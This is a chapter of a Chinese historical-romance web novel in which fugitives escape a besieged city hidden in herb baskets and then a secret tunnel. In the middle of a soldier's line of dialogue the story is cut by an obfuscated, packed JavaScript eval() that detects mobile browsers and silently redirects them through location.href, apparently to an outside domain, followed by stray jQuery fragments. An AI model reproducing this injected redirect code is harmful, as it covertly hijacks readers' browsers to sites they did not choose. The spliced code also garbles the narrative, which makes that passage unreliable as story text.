74. 后手

作品:《假夫君摄政王入戏后

    亲信兵临城下却无法相救,城中百姓因他们而陷入险局,容愈已经彻底疯了。


    “我们不能等了,必须立刻离开,还要光明正大在城外出现,绝不能再连累无辜百姓。”


    谢徵玄点头,却是看向何慈,道:“商队的地下密道,如今还通着么?”


    何慈一惊,不知道他问这个做什么。


    “自殿下将商队交到我手中后,我派人修整了原址,地牢拆了,但密道还保留着。殿下的意思是……?”


    江月见随即会意,道:“商队位置已然靠着城外,若我们能进入商队密道,只要多派几个人手,定能很快挖通密道,逃出城去。”


    谢徵玄颔首,道:“浔阳城常遭外敌侵犯,守城军中必定备有火药。”


    “若有火药,挖通地道就更不耗费时间了!”


    何慈欣喜道:“这样极好!可是火药要怎么取到?”


    谢徵玄道:“我的鹰隼,只需一声哨音便可召来。我去信容羡,让他把火药运来。”


    江月见说:“那我们先去商队。”


    何慈皱眉道:“可是,商队在城东,离我家隔着三条街。现在街上全是巡逻的士兵,盘查极严。你们这样出去,寸步难行。”


    江月见其实心中有办法,可她默了默,和谢徵玄对视一眼,而后摇着头,开口道:“没事,我们会想办法逃过追兵。”


    何慈咬了咬唇,似乎下了很大的决心:“我有个法子。商队每日清晨都要运货,有些珍贵草药都在我家中储藏,往返商队。今日的货已经装车,是几大筐晒干的草药,用油布盖着。我可以安排你们……藏在货筐里。”


    江月见方才心中想的也是这个办法,可是这样一来对何慈而言风险极大,她不愿意再叫她深涉险境。


    “这样很危险,一旦被盘查……”


    “我知道。”何慈打断她,眼神坚定,“所以,不能只有我。我需要帮手,吴姣、岁欢、锦瑟她们都记得你的恩情,一早就问我,有没有她们帮得上的地方。初霁,你信得过她们么?”


    “自然。”江月见握紧了她的手。


    “好,我这就去找她们。让她们假装来送货,和我一起押车。人多些,反而容易分散注意。你们准备一下,我很快回来。”


    事不宜迟,何慈迅速离开去安排。


    谢徵玄也很快写好了一封简单的书信,召来鹰隼,又放飞了去。


    若容羡果真能送来火药,那最好不过了,但最差的结果也不过是他们要用双手挖开地道,只要有一线生机,都好说。


    不久,何慈带着几个神色紧张却强作镇定的年轻女子回来了。正是吴姣、岁欢、锦瑟,她们看到江月见,眼中都流露出激动和担忧,但都克制着没有出声,只是用力点了点头。


    “车在后院巷口。”何慈低声道,“我们走。”


    几人悄无声息地溜出后门。


    巷口停着一辆半旧的骡车,车上堆着几个用油布盖得严严实实的大竹筐,拉车的骡子似乎也察觉到了什么,不安地踏着蹄子。


    谢徵玄和江月见在他们的掩护下,迅速掀开其中一个竹筐的油布一角,动作麻利地钻了进去,蜷缩在草药堆里。


    吴姣和岁欢立刻将油布重新盖好,仔细地压紧边缘,确保看不出破绽。


    何慈深吸一口气,坐到车辕上,拿起鞭子,其他三人分立两旁,跟在车旁。


    “走吧。”何慈的声音尽量保持平静。


    骡车缓缓启动,车轮碾过石子路,发出不大不小的声音。清晨时分,行人稀少,但巡逻的士兵明显增多,几乎每个路口都有盘查。


    刚拐出后门巷子,还没走上几步,迎面就撞见一队巡逻的士兵。


    “站住!干什么的!”领头的什长厉声喝道,带着人拦住了骡车。


    何慈的心提到了嗓子眼,但脸上努力挤出几分讨好的笑容:“军爷,我们是那边商队的,正往商队送货呢。”


    什长狐疑地打量着她们四人,又绕着骡车转了一圈,用刀鞘敲了敲盖着油布的竹筐:“装的什么?打开看看!”


    “军爷,就是些不值钱的干草药,味道冲得很……”何慈连忙解释。


    “到底什么东西,一股味道!”


    一旁的锦瑟拂了拂手,得意道:“军爷,你最近听说没,京城如今时兴以死人胃中残食为药,捡出的东西晒上几日,能治疫病呢。咱们当家的想着这大好商机,便同仵作那边买了些,试试水。”


    “什么?死人胃里的东西?”


    “是呀。”岁欢跳下车来,假意示意吴姣去掀。


    吴姣便作势要动手掀开油布,可谁料那什长将信将疑,半是恶心,半又想看个真切,竟没有出言阻止。


    就在这时,众人身后的院门忽然吱呀一声被拉开了。


    何慈的婆母,那个一向尖酸刻薄、对她呼来喝去的老妇人,竟站在门口。她显然是被外面的动静吵醒了,身上只披了件外衣,头发散乱,脸色显得更加阴沉。


    所有人都吓了一跳,巡逻兵也转头看去,这婆母的恶名是坊间出了名的,士兵们一时都带了看戏的戏谑望去。


    何慈的心瞬间沉入谷底。


    完了,婆母最是胆小怕事,又厌恶她收留外人,昨夜她收容初霁他们时,婆母虽已进房睡了,但她一向觉浅,不知有没有听到些什么……


    只见那老妇人浑浊的眼睛扫过门口的士兵,扫过停在路中间的骡车,目光似乎在那盖着油布的竹筐上停留了一瞬,又扫过何慈和她身边几个紧张的姑娘。


    空气仿佛凝固了。


    就在何慈以为婆母即将要揭发她们时,那老妇人却忽然皱起眉头,脸上露出极其不耐烦的神色,冲着何慈破口大骂,声音又尖又利:


    “死婆娘,大清早的吵吵嚷嚷!不是说要送货吗?磨蹭什么,还不快滚!死人的东西也敢在老娘面前晃,晦不晦气!别在这儿碍老娘的眼,看着就心烦!滚,快滚!”


    她骂完,也不等何慈反应,砰地一声重重摔上了院门。


    这突如其来的怒骂,反而让那巡逻的什长愣住了。


    他看了看紧闭的院门,又看了看被骂得灰头土脸的何慈,心中也不免同情。


    这婆娘死了丈夫,又被婆母磋磨至此,怕不是失心疯了,居然想着拿死人来做生意。


    “算了,什么东西。”什长啐了一口,不耐烦地挥挥手,“走走走,别


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064742|169442||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    挡道!”


    何慈如蒙大赦,连忙点头哈腰:“是是是,军爷,我们这就走,这就走。”


    她赶紧挥动鞭子,催促骡车前行。


    岁欢等人也连忙跟上,低着头,掩饰着狂跳的心。


    骡车吱吱呀呀地继续前行,渐渐远离了巡逻队。


    过了段时间,一行人终于有惊无险地驶入了商队小院。院子不大,整整齐齐地码着些草药和木箱,空气中弥漫着草药的辛香,何慈迅速关好院门并闩上。


    “下来吧,安全了。”


    几人立刻帮忙掀开油布。谢徵玄率先钻出竹筐,他动作敏捷,伸手将江月见也拉了出来。两人浑身沾满了干枯的草药碎屑,灰头土脸,但眼神都带着劫后余生的清明。


    “谢谢你们。”谢徵玄郑重地抱拳。


    “大人快别客气。”何慈摆摆手,“时间紧迫,跟我来。”


    她领着他们快步走向角落一侧厢房,那里有通向密道的暗门。


    拨开挡路的木箱,她掏出一把钥匙打开门锁,门后是一条向下的、狭窄陡峭的石阶,一股混合着土腥和陈腐气味的冷风扑面而来。


    “就是这里了。柳……那人出事后,我修整了地道,连通了石阶,以防万一,没想到今日竟派上了用场。这里还有铲子和几个麻袋,或许用得上。”


    “足够了。”谢徵玄点头。


    江月见回身握住她们的手,道:“你们不必再冒险跟下去。速速回家,就当从未见过我们。”


    何慈也知道带着她们只会拖慢速度,增加暴露的风险。


    她点头,眼神复杂地看了江月见一眼:“初霁,保重。愿你们……顺利出去,我们往后,定要再见。”


    江月见上前紧紧抱了抱她:“你也保重。”又对锦瑟、岁欢、吴姣点点头,依次拥抱,千言万语尽在不言中。


    何慈等人迅速离开了此处,临走前不忘重新用木箱堆好入口,再有条不紊地重新忙活起商队的事情。


    谢徵玄拿起两把铲子扛在肩上,问:“怕吗。”


    江月见摇摇头,接过铲子:“走吧。”


    他在前,点燃了何慈留下的一盏小油灯,豆大的火苗勉强驱散了些许黑暗,江月见紧随其后。


    地道狭窄逼仄,空气混浊。


    刚开始的一段路是硬土,尚算平整,但越往下走,通道越窄,顶部越来越低,很快就需要弓着身子,到最后几乎是手脚并用地在爬行。泥土的气息越发浓重,四周是绝对的死寂,只能听到两人粗重的呼吸声和衣料摩擦泥土的簌簌声。


    江月见麻木地跟着前面油灯微弱的光芒移动,但越深入这狭窄黑暗的通道,她的呼吸就越发急促起来,背上开始冒出冷汗。莫名的压抑感和恐慌从心底升起,她手脚开始变得冰冷。


    谢徵玄在前方察觉到了身后细微的变化——她的动作变得僵硬,呼吸声明显粗重紊乱,甚至带着一丝微不可察的颤抖。


    他在一个稍能弯腰站直的小小土腔里停下来,转回身,将油灯举高了些。


    昏黄的光线下,她的脸色苍白得可怕,额头上全是细密的汗珠,眼神有些空洞地落在他身后的黑暗中,嘴唇紧抿,身体明显在微微发抖。